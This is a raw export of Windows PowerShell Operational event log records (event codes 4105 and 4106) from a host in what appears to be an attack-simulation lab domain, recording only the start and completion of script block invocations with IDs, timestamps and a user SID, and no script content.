OpCode=On create calls
RecordNumber=2046883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046875
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046873
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046872
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046855
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046849
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
